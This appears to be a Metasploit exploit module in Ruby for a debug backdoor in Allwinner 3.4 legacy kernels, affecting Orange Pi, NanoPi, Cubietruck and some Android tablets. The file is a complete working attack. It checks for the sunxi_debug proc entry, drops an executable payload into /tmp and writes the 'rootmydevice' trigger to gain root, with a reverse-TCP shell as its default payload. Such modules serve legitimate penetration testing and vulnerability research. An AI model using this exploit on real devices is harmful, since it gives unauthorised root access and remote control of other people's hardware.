84 lines
2.8 KiB
Ruby
84 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require "msf/core"
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Post::Linux::Priv
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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"Name" => "Allwinner 3.4 Legacy Kernel Local Privilege Escalation",
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"Description" => %q{
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This module attempts to exploit a debug backdoor privilege escalation in
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Allwinner SoC based devices.
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Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4
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Vulnerable OS: all OS images available for Orange Pis,
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any for FriendlyARM's NanoPi M1,
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SinoVoip's M2+ and M3,
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Cuebietech's Cubietruck +
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Linksprite's pcDuino8 Uno
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Exploitation may be possible against Dragon (x10) and Allwinner Android tablets
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},
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"License" => MSF_LICENSE,
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"Author" =>
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[
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"h00die <mike@stcyrsecurity.com>", # Module
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"KotCzarny" # Discovery
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],
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"Platform" => [ "android", "linux" ],
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"DisclosureDate" => "Apr 30 2016",
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"DefaultOptions" => {
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"payload" => "linux/armle/mettle/reverse_tcp"
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},
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"Privileged" => true,
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"Arch" => ARCH_ARMLE,
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"References" =>
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[
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[ "URL", "http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/"],
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[ "URL", "https://webcache.googleusercontent.com/search?q=cache:l2QYVUcDflkJ:" \
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"https://github.com/allwinner-zh/linux-3.4-sunxi/blob/master/arch/arm/mach-sunxi/sunxi-debug.c+&cd=3&hl=en&ct=clnk&gl=us"],
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[ "URL", "http://irclog.whitequark.org/linux-sunxi/2016-04-29#16314390"]
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],
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"SessionTypes" => [ "shell", "meterpreter" ],
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'Targets' =>
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[
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[ 'Auto', { } ]
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],
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'DefaultTarget' => 0,
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))
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end
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def check
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backdoor = '/proc/sunxi_debug/sunxi_debug'
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if file_exist?(backdoor)
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Exploit::CheckCode::Appears
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else
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Exploit::CheckCode::Safe
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end
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end
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def exploit
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backdoor = '/proc/sunxi_debug/sunxi_debug'
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if file_exist?(backdoor)
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pl = generate_payload_exe
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exe_file = "/tmp/#{rand_text_alpha(5)}.elf"
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vprint_good "Backdoor Found, writing payload to #{exe_file}"
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write_file(exe_file, pl)
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cmd_exec("chmod +x #{exe_file}")
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vprint_good 'Escalating'
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cmd_exec("echo rootmydevice > #{backdoor}; #{exe_file}")
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else
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print_error "Backdoor #{backdoor} not found."
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end
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end
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end
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